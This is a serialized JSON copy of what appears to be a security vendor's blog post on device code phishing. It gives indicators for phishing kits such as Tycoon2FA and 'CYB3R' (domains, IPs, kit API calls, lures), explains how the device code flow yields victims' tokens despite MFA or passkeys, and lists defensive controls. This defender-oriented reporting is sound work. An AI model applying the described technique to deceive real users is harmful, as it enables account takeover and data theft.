include DocuSign \"Verification\" (Microsoft sign-in pretext); DHL \"Delivery Checkpoint\" package shipment pretext",{"data":8510,"content":8514,"nodeType":921},{"target":8511},{"sys":8512},{"id":8513,"type":918,"linkType":919},"79C3fces0hgTdf3G68cIrf",[],{"data":8516,"content":8517,"nodeType":944},{},[],{"data":8519,"content":8520,"nodeType":1229},{},[8521],{"data":8522,"marks":8523,"value":8525,"nodeType":865},{},[8524],{"type":935},"Tycoon2FA",{"data":8527,"content":8528,"nodeType":1656},{},[8529,8559,8596,8619,8642],{"data":8530,"content":8531,"nodeType":1563},{},[8532,8542],{"data":8533,"content":8534,"nodeType":1577},{},[8535],{"data":8536,"content":8537,"nodeType":866},{},[8538],{"data":8539,"marks":8540,"value":6819,"nodeType":865},{},[8541],{"type":935},{"data":8543,"content":8544,"nodeType":1577},{},[8545,8552],{"data":8546,"content":8547,"nodeType":866},{},[8548],{"data":8549,"marks":8550,"value":8551,"nodeType":865},{},[],"Github.io and Cloudflare Workers (workers.dev) hosting",{"data":8553,"content":8554,"nodeType":866},{},[8555],{"data":8556,"marks":8557,"value":8558,"nodeType":865},{},[],"Compromised-site landing pages and CF Workers (*.workers.dev) used as frontends; victim email passed in URL as last path segment ($base64) or ?acct/?encoded query",{"data":8560,"content":8561,"nodeType":1563},{},[8562,8572],{"data":8563,"content":8564,"nodeType":1577},{},[8565],{"data":8566,"content":8567,"nodeType":866},{},[8568],{"data":8569,"marks":8570,"value":6843,"nodeType":865},{},[8571],{"type":935},{"data":8573,"content":8574,"nodeType":1577},{},[8575,8586],{"data":8576,"content":8577,"nodeType":866},{},[8578,8582],{"data":8579,"marks":8580,"value":7318,"nodeType":865},{},[8581],{"type":935},{"data":8583,"marks":8584,"value":8585,"nodeType":865},{},[],"47.253.5.88 (Alibaba Cloud)",{"data":8587,"content":8588,"nodeType":866},{},[8589,8593],{"data":8590,"marks":8591,"value":6884,"nodeType":865},{},[8592],{"type":935},{"data":8594,"marks":8595,"value":7141,"nodeType":865},{},[],{"data":8597,"content":8598,"nodeType":1563},{},[8599,8609],{"data":8600,"content":8601,"nodeType":1577},{},[8602],{"data":8603,"content":8604,"nodeType":866},{},[8605],{"data":8606,"marks":8607,"value":6926,"nodeType":865},{},[8608],{"type":935},{"data":8610,"content":8611,"nodeType":1577},{},[8612],{"data":8613,"content":8614,"nodeType":866},{},[8615],{"data":8616,"marks":8617,"value":8618,"nodeType":865},{},[],"GET /api/session/{UUIDv4} polled with header X-API-Key: \u003Cprefix>_\u003C64-hex> (key materialised at runtime via atob(window.__cyb3r.k)) \nPOST /api/device-code with body {\"prt_foci_session_id\": \"\u003CUUID>\"} (second-stage code retrieval after initial session error)",{"data":8620,"content":8621,"nodeType":1563},{},[8622,8632],{"data":8623,"content":8624,"nodeType":1577},{},[8625],{"data":8626,"content":8627,"nodeType":866},{},[8628],{"data":8629,"marks":8630,"value":6978,"nodeType":865},{},[8631],{"type":935},{"data":8633,"content":8634,"nodeType":1577},{},[8635],{"data":8636,"content":8637,"nodeType":866},{},[8638],{"data":8639,"marks":8640,"value":8641,"nodeType":865},{},[],"Various: SharePoint \"Remittance Advice\"; Microsoft 365 generic sign-in; Microsoft 365 Voicemail (.mp3 attachment); OneDrive \"Shared file\"; German \"Sicheres Dokumentenportal\" PDF lure",{"data":8643,"content":8644,"nodeType":1563},{},[8645,8655],{"data":8646,"content":8647,"nodeType":1577},{},[8648],{"data":8649,"content":8650,"nodeType":866},{},[8651],{"data":8652,"marks":8653,"value":7201,"nodeType":865},{},[8654],{"type":935},{"data":8656,"content":8657,"nodeType":1577},{},[8658],{"data":8659,"content":8660,"nodeType":866},{},[8661],{"data":8662,"marks":8663,"value":8664,"nodeType":865},{},[],"afriqbeauglobal[.]com/homepage/index[.]html",{"data":8666,"content":8670,"nodeType":921},{"target":8667},{"sys":8668},{"id":8669,"type":918,"linkType":919},"3UDzUCCizPJhXp3SsoZuSK",[],{"data":8672,"content":8673,"nodeType":944},{},[],{"data":8675,"content":8676,"nodeType":1229},{},[8677],{"data":8678,"marks":8679,"value":8681,"nodeType":865},{},[8680],{"type":935},"\"CYB3R\"",{"data":8683,"content":8684,"nodeType":1656},{},[8685,8708,8746,8768,8791],{"data":8686,"content":8687,"nodeType":1563},{},[8688,8698],{"data":8689,"content":8690,"nodeType":1577},{},[8691],{"data":8692,"content":8693,"nodeType":866},{},[8694],{"data":8695,"marks":8696,"value":6819,"nodeType":865},{},[8697],{"type":935},{"data":8699,"content":8700,"nodeType":1577},{},[8701],{"data":8702,"content":8703,"nodeType":866},{},[8704],{"data":8705,"marks":8706,"value":8707,"nodeType":865},{},[],"Cloudflare Workers (workers.dev) hosting",{"data":8709,"content":8710,"nodeType":1563},{},[8711,8721],{"data":8712,"content":8713,"nodeType":1577},{},[8714],{"data":8715,"content":8716,"nodeType":866},{},[8717],{"data":8718,"marks":8719,"value":6843,"nodeType":865},{},[8720],{"type":935},{"data":8722,"content":8723,"nodeType":1577},{},[8724,8735],{"data":8725,"content":8726,"nodeType":866},{},[8727,8731],{"data":8728,"marks":8729,"value":7318,"nodeType":865},{},[8730],{"type":935},{"data":8732,"marks":8733,"value":8734,"nodeType":865},{},[],"2400:8d60:2::1:c116:843e (Evoxt VPS)",{"data":8736,"content":8737,"nodeType":866},{},[8738,8742],{"data":8739,"marks":8740,"value":6884,"nodeType":865},{},[8741],{"type":935},{"data":8743,"marks":8744,"value":8745,"nodeType":865},{},[]," axios/1.13.6",{"data":8747,"content":8748,"nodeType":1563},{},[8749,8759],{"data":8750,"content":8751,"nodeType":1577},{},[8752],{"data":8753,"content":8754,"nodeType":866},{},[8755],{"data":8756,"marks":8757,"value":6926,"nodeType":865},{},[8758],{"type":935},{"data":8760,"content":8761,"nodeType":1577},{},[8762],{"data":8763,"content":8764,"nodeType":866},{},[8765],{"data":8766,"marks":8767,"value":8618,"nodeType":865},{},[],{"data":8769,"content":8770,"nodeType":1563},{},[8771,8781],{"data":8772,"content":8773,"nodeType":1577},{},[8774],{"data":8775,"content":8776,"nodeType":866},{},[8777],{"data":8778,"marks":8779,"value":6978,"nodeType":865},{},[8780],{"type":935},{"data":8782,"content":8783,"nodeType":1577},{},[8784],{"data":8785,"content":8786,"nodeType":866},{},[8787],{"data":8788,"marks":8789,"value":8790,"nodeType":865},{},[],"DocuSign in Spanish (\"Documento Firmar — COTIZACIÓN/ESTIMACIÓN.pdf\", \"Complete su firma\", \"Verifique su identidad\", \"Continuar a Microsoft\").",{"data":8792,"content":8793,"nodeType":1563},{},[8794,8804],{"data":8795,"content":8796,"nodeType":1577},{},[8797],{"data":8798,"content":8799,"nodeType":866},{},[8800],{"data":8801,"marks":8802,"value":7201,"nodeType":865},{},[8803],{"type":935},{"data":8805,"content":8806,"nodeType":1577},{},[8807],{"data":8808,"content":8809,"nodeType":866},{},[8810],{"data":8811,"marks":8812,"value":8813,"nodeType":865},{},[],"muzagestion[.]secure-share[.]workers.dev",{"data":8815,"content":8819,"nodeType":921},{"target":8816},{"sys":8817},{"id":8818,"type":918,"linkType":919},"5EU0QNteiQcYybKG1W1cS3",[],{"data":8821,"content":8822,"nodeType":944},{},[],{"data":8824,"content":8825,"nodeType":953},{},[8826],{"data":8827,"marks":8828,"value":8830,"nodeType":865},{},[8829],{"type":935},"Device code phishing under the hood",{"data":8832,"content":8833,"nodeType":866},{},[8834,8838],{"data":8835,"marks":8836,"value":8837,"nodeType":865},{},[],"The attacker POSTs to the authorization server's device authorization endpoint with its client_id (i.e. an application ID) and requested scopes or resources. The server responds with a device_code (used for polling), a user_code, a verification_uri, an expires_in value, and a polling interval. The user visits the URL, enters the code and approves the request. Meanwhile, the device polls the token endpoint. Once approved, the server returns an access token, a refresh token (if offline_access was requested), and an ID token (if openid was included). ",{"data":8839,"marks":8840,"value":8842,"nodeType":865},{},[8841],{"type":935},"The attacker now has API access to the victim's account. ",{"data":8844,"content":8845,"nodeType":866},{},[8846],{"data":8847,"marks":8848,"value":8849,"nodeType":865},{},[],"Broadly, this gives the attacker a comparable level of control to a “normal” phishing attack (with conditions based on the scopes granted and specific app being targeted) while API access grants additional capabilities beyond standard browser sessions. When combined with other techniques, this access can be exchanged to open normal browser app sessions and access SSO connected apps.",{"data":8851,"content":8855,"nodeType":921},{"target":8852},{"sys":8853},{"id":8854,"type":918,"linkType":919},"4WtQR2xsE236yoyhSXj58Z",[],{"data":8857,"content":8861,"nodeType":921},{"target":8858},{"sys":8859},{"id":8860,"type":918,"linkType":919},"1x7Lip7JdY2xlHKKurT7qJ",[],{"data":8863,"content":8864,"nodeType":866},{},[8865],{"data":8866,"marks":8867,"value":8868,"nodeType":865},{},[],"At this point, you can achieve a number of objectives both inside the app ecosystem and across SSO connected apps — e.g. data theft, disruption, and ultimately extortion.",{"data":8870,"content":8871,"nodeType":866},{},[8872,8876,8881,8885],{"data":8873,"marks":8874,"value":8875,"nodeType":865},{},[],"Critically, the initial request to generate a device code is typically ",{"data":8877,"marks":8878,"value":8880,"nodeType":865},{},[8879],{"type":935},"unauthenticated",{"data":8882,"marks":8883,"value":8884,"nodeType":865},{},[]," across all providers — ",{"data":8886,"marks":8887,"value":8889,"nodeType":865},{},[8888],{"type":935},"anyone can generate one, from any machine, without proving any relationship to the target organization.",{"data":8891,"content":8892,"nodeType":866},{},[8893,8897,8902],{"data":8894,"marks":8895,"value":8896,"nodeType":865},{},[],"So, the attacker has to deliver a set of instructions via a phishing channel (e.g. email, social media DM, corp IM platform, and so on) with a device code that they have generated. The victim then enters this code on the ",{"data":8898,"marks":8899,"value":8901,"nodeType":865},{},[8900],{"type":935},"legitimate device code login page",{"data":8903,"marks":8904,"value":8905,"nodeType":865},{},[]," for that app and issues the tokens to the attacker.",{"data":8907,"content":8911,"nodeType":921},{"target":8908},{"sys":8909},{"id":8910,"type":918,"linkType":919},"1txUYuQjH9FlbDGTo8AbZB",[],{"data":8913,"content":8914,"nodeType":944},{},[],{"data":8916,"content":8917,"nodeType":953},{},[8918],{"data":8919,"marks":8920,"value":8922,"nodeType":865},{},[8921],{"type":935},"Why device code phishing is so dangerous",{"data":8924,"content":8925,"nodeType":1229},{},[8926],{"data":8927,"marks":8928,"value":8930,"nodeType":865},{},[8929],{"type":935},"Device code phishing bypasses authentication controls (including passkeys)",{"data":8932,"content":8933,"nodeType":866},{},[8934,8938,8943,8947],{"data":8935,"marks":8936,"value":8937,"nodeType":865},{},[],"A device code phishing attack ",{"data":8939,"marks":8940,"value":8942,"nodeType":865},{},[8941],{"type":935},"cannot be prevented with authentication controls",{"data":8944,"marks":8945,"value":8946,"nodeType":865},{},[],". This includes all forms of MFA and ",{"data":8948,"marks":8949,"value":8951,"nodeType":865},{},[8950],{"type":935},"even “phishing-resistant” authentication methods such as passkeys. ",{"data":8953,"content":8954,"nodeType":866},{},[8955,8960,8964,8969],{"data":8956,"marks":8957,"value":8959,"nodeType":865},{},[8958],{"type":935},"The device code authorization is effectively performed post-authentication. ",{"data":8961,"marks":8962,"value":8963,"nodeType":865},{},[],"If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that's needed. ",{"data":8965,"marks":8966,"value":8968,"nodeType":865},{},[8967],{"type":935},"No password or MFA required. ",{"data":8970,"marks":8971,"value":8972,"nodeType":865},{},[],"You can see an example in the video below.",{"data":8974,"content":8977,"nodeType":921},{"target":8975},{"sys":8976},{"id":7905,"type":918,"linkType":919},[],{"data":8979,"content":8980,"nodeType":866},{},[8981],{"data":8982,"marks":8983,"value":8984,"nodeType":865},{},[],"Even if you do have to sign in again (because you're not already signed in for some reason), the attack still works because it isn't targeting the login — it's targeting the authorization layer instead.",{"data":8986,"content":8987,"nodeType":866},{},[8988],{"data":8989,"marks":8990,"value":8991,"nodeType":865},{},[],"This is what makes device code phishing different to other standard phishing methods like AiTM phishing (and arguably even more effective in environments with strict identity control enforcement). ",{"data":8993,"content":8994,"nodeType":1229},{},[8995],{"data":8996,"marks":8997,"value":8999,"nodeType":865},{},[8998],{"type":935},"Device code logins are a feature, not a vulnerability, making attacks difficult to block",{"data":9001,"content":9002,"nodeType":866},{},[9003],{"data":9004,"marks":9005,"value":9006,"nodeType":865},{},[],"Device code authorization is a legitimate mechanism regularly used in enterprise environments, particularly for CLI logins. Tools like Azure CLI, GitHub CLI, and AWS CLI all use (or have used) the device code flow as a primary or fallback authentication method. This creates a dual problem for defenders. ",{"data":9008,"content":9009,"nodeType":866},{},[9010],{"data":9011,"marks":9012,"value":9013,"nodeType":865},{},[],"First, the phishing attack happens entirely on a legitimate site — there's no fake login page, no malicious payload to scan for, and the URL in the browser is genuine. Since there's no traditional phishing content being delivered, these attacks are more resistant to detection by email and network security tools.",{"data":9015,"content":9016,"nodeType":866},{},[9017],{"data":9018,"marks":9019,"value":9020,"nodeType":865},{},[],"Second, the widespread legitimate use of device code flow — particularly among developers and technical users — normalizes the experience of entering device codes. A phishing lure asking them to do the same thing is indistinguishable from a legitimate IT request. And for non-technical users, this experience isn't much different to, for example, entering a code sent via email or authenticator app. ",{"data":9022,"content":9023,"nodeType":1229},{},[9024],{"data":9025,"marks":9026,"value":9028,"nodeType":865},{},[9027],{"type":935},"Multiple apps are vulnerable, with different risk profiles",{"data":9030,"content":9031,"nodeType":866},{},[9032],{"data":9033,"marks":9034,"value":9035,"nodeType":865},{},[],"Various apps implement the device code flow, each with different levels of control and default security, but the risk is not uniform across platforms. ",{"data":9037,"content":9038,"nodeType":2374},{},[9039,9054,9068],{"data":9040,"content":9041,"nodeType":2309},{},[9042],{"data":9043,"content":9044,"nodeType":866},{},[9045,9050],{"data":9046,"marks":9047,"value":9049,"nodeType":865},{},[9048],{"type":935},"Google Workspace ",{"data":9051,"marks":9052,"value":9053,"nodeType":865},{},[],"is a significantly lower-risk target because Google explicitly limits which scopes are available to the device code flow — Gmail, Calendar, and most Workspace APIs are simply unavailable through this mechanism. ",{"data":9055,"content":9056,"nodeType":2309},{},[9057],{"data":9058,"content":9059,"nodeType":866},{},[9060,9064],{"data":9061,"marks":9062,"value":6523,"nodeType":865},{},[9063],{"type":935},{"data":9065,"marks":9066,"value":9067,"nodeType":865},{},[]," offers the broadest attack surface due to unrestricted scopes, reusable first-party client IDs, and the FOCI/PRT escalation paths. ",{"data":9069,"content":9070,"nodeType":2309},{},[9071],{"data":9072,"content":9073,"nodeType":866},{},[9074,9078,9082],{"data":9075,"marks":9076,"value":9077,"nodeType":865},{},[],"Apps like ",{"data":9079,"marks":9080,"value":2489,"nodeType":865},{},[9081],{"type":935},{"data":9083,"marks":9084,"value":9085,"nodeType":865},{},[]," sit in between — broad scopes are available (including full repository access), but the attacker must control their own OAuth app and the victim sees an explicit consent screen. ",{"data":9087,"content":9091,"nodeType":921},{"target":9088},{"sys":9089},{"id":9090,"type":918,"linkType":919},"ejNSC76jge1p1zzz9wwiG",[],{"data":9093,"content":9094,"nodeType":944},{},[],{"data":9096,"content":9097,"nodeType":953},{},[9098],{"data":9099,"marks":9100,"value":9102,"nodeType":865},{},[9101],{"type":935},"Security recommendations",{"data":9104,"content":9105,"nodeType":866},{},[9106],{"data":9107,"marks":9108,"value":9109,"nodeType":865},{},[],"Security teams need to consider the risk posed by device code phishing across multiple apps where device code authorization grants are common, particularly for developers and technical users. ",{"data":9111,"content":9112,"nodeType":866},{},[9113],{"data":9114,"marks":9115,"value":9116,"nodeType":865},{},[],"In an ideal world, you would simply block device code logins. But this can’t be done without causing serious disruption in some environments, while some apps simply don’t provide the tools required to do so. For example, device code is the default CLI sign-in method for GitHub. Developer-heavy organizations are likely to encounter higher levels of legitimate use.",{"data":9118,"content":9119,"nodeType":866},{},[9120,9124,9133,9137,9142,9146,9151,9155,9160],{"data":9121,"marks":9122,"value":9123,"nodeType":865},{},[],"Microsoft arguably offers the strongest control options (other than Google, who negate it right out of the gate), though they do require a fair amount of work. ",{"data":9125,"content":9127,"nodeType":889},{"uri":9126},"https://techcommunity.microsoft.com/blog/microsoft-entra-blog/new-microsoft-managed-policies-to-raise-your-identity-security-posture/4286758",[9128],{"data":9129,"marks":9130,"value":9132,"nodeType":865},{},[9131],{"type":1191},"Microsoft now explicitly recommends",{"data":9134,"marks":9135,"value":9136,"nodeType":865},{},[]," blocking device code flow for tenants that haven't used it in the past 25 days. Their guidance is to create a custom CA policy: target relevant users, set the ",{"data":9138,"marks":9139,"value":9141,"nodeType":865},{},[9140],{"type":935},"Authentication Flows",{"data":9143,"marks":9144,"value":9145,"nodeType":865},{},[]," condition to block ",{"data":9147,"marks":9148,"value":9150,"nodeType":865},{},[9149],{"type":935},"Device Code Flow",{"data":9152,"marks":9153,"value":9154,"nodeType":865},{},[],", and set the grant control to ",{"data":9156,"marks":9157,"value":9159,"nodeType":865},{},[9158],{"type":935},"Block Access",{"data":9161,"marks":9162,"value":9163,"nodeType":865},{},[],". Deploy in report-only mode first to identify any legitimate device code usage, then enforce with narrow exceptions.",{"data":9165,"content":9169,"nodeType":921},{"target":9166},{"sys":9167},{"id":9168,"type":918,"linkType":919},"mQIj2o9xRzkZYKNmanB25",[],{"data":9171,"content":9172,"nodeType":866},{},[9173],{"data":9174,"marks":9175,"value":9176,"nodeType":865},{},[],"For other apps, you’re mainly limited to monitoring and response. Ensuring you’re getting authentication logs for these apps is vital, and searching for unusual access patterns (e.g. unusual login protocols, having different IPs for the authorization grant and subsequent account activity). ",{"data":9178,"content":9179,"nodeType":944},{},[],{"data":9181,"content":9182,"nodeType":953},{},[9183],{"data":9184,"marks":9185,"value":9187,"nodeType":865},{},[9186],{"type":935},"How Push Security can help",{"data":9189,"content":9190,"nodeType":866},{},[9191],{"data":9192,"marks":9193,"value":9194,"nodeType":865},{},[],"Push customers can use our browser-based capabilities to overcome the limitations of app-level controls and detect, intercept, and shut down attacks in real time. ",{"data":9196,"content":9197,"nodeType":866},{},[9198],{"data":9199,"marks":9200,"value":9201,"nodeType":865},{},[],"Our research team is already tracking multiple device code phishing campaigns and toolkits, including the EvilTokens kit. Blocking controls are already in place to prevent customers from interacting with malicious pages that match our detections for these new toolkits, ensuring that these pages can be identified and blocked in real time regardless of the infrastructure. ",{"data":9203,"content":9204,"nodeType":866},{},[9205,9209,9218],{"data":9206,"marks":9207,"value":9208,"nodeType":865},{},[],"Using Push you can also ",{"data":9210,"content":9212,"nodeType":889},{"uri":9211},"https://pushsecurity.com/help/can-i-use-push-to-help-protect-against-device-code-phishing-scenarios/",[9213],{"data":9214,"marks":9215,"value":9217,"nodeType":865},{},[9216],{"type":1191},"configure in-browser warnings",{"data":9219,"marks":9220,"value":9221,"nodeType":865},{},[]," whenever a user accesses a URL used for device code logins. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  ",{"data":9223,"content":9227,"nodeType":921},{"target":9224},{"sys":9225},{"id":9226,"type":918,"linkType":919},"3JsbGaOKSS3INzBUJpoh1W",[],{"data":9229,"content":9230,"nodeType":866},{},[9231],{"data":9232,"marks":9233,"value":9234,"nodeType":865},{},[],"When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing device login pages if you’re confident that disruption won’t be caused. ",{"data":9236,"content":9237,"nodeType":1229},{},[9238],{"data":9239,"marks":9240,"value":5589,"nodeType":865},{},[9241],{"type":935},{"data":9243,"content":9244,"nodeType":866},{},[9245],{"data":9246,"marks":9247,"value":9248,"nodeType":865},{},[],"Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.",{"data":9250,"content":9251,"nodeType":866},{},[9252,9256,9263,9266,9274,9277,9284],{"data":9253,"marks":9254,"value":9255,"nodeType":865},{},[],"To learn more about Push, ",{"data":9257,"content":9258,"nodeType":889},{"uri":3192},[9259],{"data":9260,"marks":9261,"value":3198,"nodeType":865},{},[9262],{"type":1191},{"data":9264,"marks":9265,"value":3202,"nodeType":865},{},[],{"data":9267,"content":9268,"nodeType":889},{"uri":3205},[9269],{"data":9270,"marks":9271,"value":9273,"nodeType":865},{},[9272],{"type":1191},"view our demo library",{"data":9275,"marks":9276,"value":3215,"nodeType":865},{},[],{"data":9278,"content":9279,"nodeType":889},{"uri":2644},[9280],{"data":9281,"marks":9282,"value":3223,"nodeType":865},{},[9283],{"type":1191},{"data":9285,"marks":9286,"value":1066,"nodeType":865},{},[],"Device code phishing attacks have skyrocketed: here’s what you need to know","Device code phishing is seeing a huge spike in adoption in 2026, enabling attackers to steal access tokens while bypassing standard access controls.","2026-04-04T00:00:00.000Z",{"items":9291},[9292,9294],{"sys":9293,"name":2663},{"id":2662},{"sys":9295,"name":342},{"id":2666},{"items":9297},[9298],{"fullName":9299,"firstName":9300,"jobTitle":9301,"profilePicture":9302},"Luke Jennings","Luke","Vice President, R&D",{"url":9303},"https://images.ctfassets.net/y1cdw1ablpvd/4Hosb4zKi1dA0PUyDLMe1h/27e09d894861f2196ba794037986fb08/T016S22KZ96-U02NVQM7ZD4-57761d542d83-512.jpeg",{"__typename":1802,"sys":9305,"content":9306,"title":2654,"synopsis":2655,"hashTags":59,"publishedDate":2656,"slug":2657,"tagsCollection":10015,"authorsCollection":10021},{"id":1804},{"json":9307},{"data":9308,"content":9309,"nodeType":1663},{},[9310,9325,9340,9355,9360,9363,9370,9376,9382,9388,9394,9401,9404,9411,9417,9423,9429,9434,9441,9456,9462,9468,9481,9488,9512,9525,9531,9555,9562,9586,9592,9599,9614,9620,9626,9631,9637,9644,9659,9665,9681,9687,9690,9697,9703,9778,9784,9797,9800,9825,9840,9846,9852,9855,9862,9877,9883,9889,9904,9907,9914,9920,9950,9956,9971,9986,9991,9994,10000],{"data":9311,"content":9312,"nodeType":866},{},[9313,9316,9322],{"data":9314,"marks":9315,"value":1815,"nodeType":865},{},[],{"data":9317,"content":9318,"nodeType":889},{"uri":1818},[9319],{"data":9320,"marks":9321,"value":1823,"nodeType":865},{},[],{"data":9323,"marks":9324,"value":1827,"nodeType":865},{},[],{"data":9326,"content":9327,"nodeType":866},{},[9328,9331,9337],{"data":9329,"marks":9330,"value":1834,"nodeType":865},{},[],{"data":9332,"content":9333,"nodeType":889},{"uri":1837},[9334],{"data":9335,"marks":9336,"value":1842,"nodeType":865},{},[],{"data":9338,"marks":9339,"value":1846,"nodeType":865},{},[],{"data":9341,"content":9342,"nodeType":866},{},[9343,9346,9352],{"data":9344,"marks":9345,"value":1853,"nodeType":865},{},[],{"data":9347,"content":9348,"nodeType":889},{"uri":1856},[9349],{"data":9350,"marks":9351,"value":1861,"nodeType":865},{},[],{"data":9353,"marks":9354,"value":1865,"nodeType":865},{},[],{"data":9356,"content":9359,"nodeType":921},{"target":9357},{"sys":9358},{"id":1870,"type":918,"linkType":919},[],{"data":9361,"content":9362,"nodeType":944},{},[],{"data":9364,"content":9365,"nodeType":953},{},[9366],{"data":9367,"marks":9368,"value":1882,"nodeType":865},{},[9369],{"type":935},{"data":9371,"content":9372,"nodeType":866},{},[9373],{"data":9374,"marks":9375,"value":1889,"nodeType":865},{},[],{"data":9377,"content":9378,"nodeType":866},{},[9379],{"data":9380,"marks":9381,"value":1896,"nodeType":865},{},[],{"data":9383,"content":9384,"nodeType":866},{},[9385],{"data":9386,"marks":9387,"value":1903,"nodeType":865},{},[],{"data":9389,"content":9390,"nodeType":866},{},[9391],{"data":9392,"marks":9393,"value":1910,"nodeType":865},{},[],{"data":9395,"content":9396,"nodeType":866},{},[9397],{"data":9398,"marks":9399,"value":1918,"nodeType":865},{},[9400],{"type":935},{"data":9402,"content":9403,"nodeType":944},{},[],{"data":9405,"content":9406,"nodeType":953},{},[9407],{"data":9408,"marks":9409,"value":1929,"nodeType":865},{},[9410],{"type":935},{"data":9412,"content":9413,"nodeType":866},{},[9414],{"data":9415,"marks":9416,"value":1936,"nodeType":865},{},[],{"data":9418,"content":9419,"nodeType":866},{},[9420],{"data":9421,"marks":9422,"value":1943,"nodeType":865},{},[],{"data":9424,"content":9425,"nodeType":866},{},[9426],{"data":9427,"marks":9428,"value":1950,"nodeType":865},{},[],{"data":9430,"content":9433,"nodeType":921},{"target":9431},{"sys":9432},{"id":1955,"type":918,"linkType":919},[],{"data":9435,"content":9436,"nodeType":1229},{},[9437],{"data":9438,"marks":9439,"value":1964,"nodeType":865},{},[9440],{"type":935},{"data":9442,"content":9443,"nodeType":866},{},[9444,9447,9453],{"data":9445,"marks":9446,"value":1971,"nodeType":865},{},[],{"data":9448,"content":9449,"nodeType":889},{"uri":1974},[9450],{"data":9451,"marks":9452,"value":1979,"nodeType":865},{},[],{"data":9454,"marks":9455,"value":1983,"nodeType":865},{},[],{"data":9457,"content":9458,"nodeType":866},{},[9459],{"data":9460,"marks":9461,"value":1990,"nodeType":865},{},[],{"data":9463,"content":9464,"nodeType":866},{},[9465],{"data":9466,"marks":9467,"value":1997,"nodeType":865},{},[],{"data":9469,"content":9470,"nodeType":866},{},[9471,9474,9478],{"data":9472,"marks":9473,"value":2004,"nodeType":865},{},[],{"data":9475,"marks":9476,"value":2009,"nodeType":865},{},[9477],{"type":935},{"data":9479,"marks":9480,"value":2013,"nodeType":865},{},[],{"data":9482,"content":9483,"nodeType":1229},{},[9484],{"data":9485,"marks":9486,"value":2021,"nodeType":865},{},[9487],{"type":935},{"data":9489,"content":9490,"nodeType":866},{},[9491,9494,9500,9503,9509],{"data":9492,"marks":9493,"value":2028,"nodeType":865},{},[],{"data":9495,"content":9496,"nodeType":889},{"uri":2031},[9497],{"data":9498,"marks":9499,"value":2036,"nodeType":865},{},[],{"data":9501,"marks":9502,"value":2040,"nodeType":865},{},[],{"data":9504,"content":9505,"nodeType":889},{"uri":2043},[9506],{"data":9507,"marks":9508,"value":2048,"nodeType":865},{},[],{"data":9510,"marks":9511,"value":2052,"nodeType":865},{},[],{"data":9513,"content":9514,"nodeType":866},{},[9515,9518,9522],{"data":9516,"marks":9517,"value":2059,"nodeType":865},{},[],{"data":9519,"marks":9520,"value":2064,"nodeType":865},{},[9521],{"type":935},{"data":9523,"marks":9524,"value":2068,"nodeType":865},{},[],{"data":9526,"content":9527,"nodeType":866},{},[9528],{"data":9529,"marks":9530,"value":2075,"nodeType":865},{},[],{"data":9532,"content":9533,"nodeType":866},{},[9534,9537,9543,9546,9552],{"data":9535,"marks":9536,"value":2082,"nodeType":865},{},[],{"data":9538,"content":9539,"nodeType":889},{"uri":1693},[9540],{"data":9541,"marks":9542,"value":2089,"nodeType":865},{},[],{"data":9544,"marks":9545,"value":2093,"nodeType":865},{},[],{"data":9547,"content":9548,"nodeType":889},{"uri":2096},[9549],{"data":9550,"marks":9551,"value":2101,"nodeType":865},{},[],{"data":9553,"marks":9554,"value":2105,"nodeType":865},{},[],{"data":9556,"content":9557,"nodeType":1229},{},[9558],{"data":9559,"marks":9560,"value":2113,"nodeType":865},{},[9561],{"type":935},{"data":9563,"content":9564,"nodeType":866},{},[9565,9568,9574,9577,9583],{"data":9566,"marks":9567,"value":2120,"nodeType":865},{},[],{"data":9569,"content":9570,"nodeType":889},{"uri":2123},[9571],{"data":9572,"marks":9573,"value":2128,"nodeType":865},{},[],{"data":9575,"marks":9576,"value":2132,"nodeType":865},{},[],{"data":9578,"content":9579,"nodeType":889},{"uri":2135},[9580],{"data":9581,"marks":9582,"value":2140,"nodeType":865},{},[],{"data":9584,"marks":9585,"value":2144,"nodeType":865},{},[],{"data":9587,"content":9588,"nodeType":866},{},[9589],{"data":9590,"marks":9591,"value":2151,"nodeType":865},{},[],{"data":9593,"content":9594,"nodeType":1229},{},[9595],{"data":9596,"marks":9597,"value":2159,"nodeType":865},{},[9598],{"type":935},{"data":9600,"content":9601,"nodeType":866},{},[9602,9605,9611],{"data":9603,"marks":9604,"value":2166,"nodeType":865},{},[],{"data":9606,"content":9607,"nodeType":889},{"uri":2169},[9608],{"data":9609,"marks":9610,"value":2174,"nodeType":865},{},[],{"data":9612,"marks":9613,"value":2178,"nodeType":865},{},[],{"data":9615,"content":9616,"nodeType":866},{},[9617],{"data":9618,"marks":9619,"value":2185,"nodeType":865},{},[],{"data":9621,"content":9622,"nodeType":866},{},[9623],{"data":9624,"marks":9625,"value":2192,"nodeType":865},{},[],{"data":9627,"content":9630,"nodeType":921},{"target":9628},{"sys":9629},{"id":2197,"type":918,"linkType":919},[],{"data":9632,"content":9633,"nodeType":866},{},[9634],{"data":9635,"marks":9636,"value":2205,"nodeType":865},{},[],{"data":9638,"content":9639,"nodeType":1229},{},[9640],{"data":9641,"marks":9642,"value":2213,"nodeType":865},{},[9643],{"type":935},{"data":9645,"content":9646,"nodeType":866},{},[9647,9650,9656],{"data":9648,"marks":9649,"value":2220,"nodeType":865},{},[],{"data":9651,"content":9652,"nodeType":889},{"uri":2223},[9653],{"data":9654,"marks":9655,"value":2228,"nodeType":865},{},[],{"data":9657,"marks":9658,"value":2232,"nodeType":865},{},[],{"data":9660,"content":9661,"nodeType":866},{},[9662],{"data":9663,"marks":9664,"value":2239,"nodeType":865},{},[],{"data":9666,"content":9667,"nodeType":866},{},[9668,9671,9678],{"data":9669,"marks":9670,"value":2246,"nodeType":865},{},[],{"data":9672,"content":9673,"nodeType":889},{"uri":2223},[9674],{"data":9675,"marks":9676,"value":2254,"nodeType":865},{},[9677],{"type":1191},{"data":9679,"marks":9680,"value":2258,"nodeType":865},{},[],{"data":9682,"content":9683,"nodeType":866},{},[9684],{"data":9685,"marks":9686,"value":2265,"nodeType":865},{},[],{"data":9688,"content":9689,"nodeType":944},{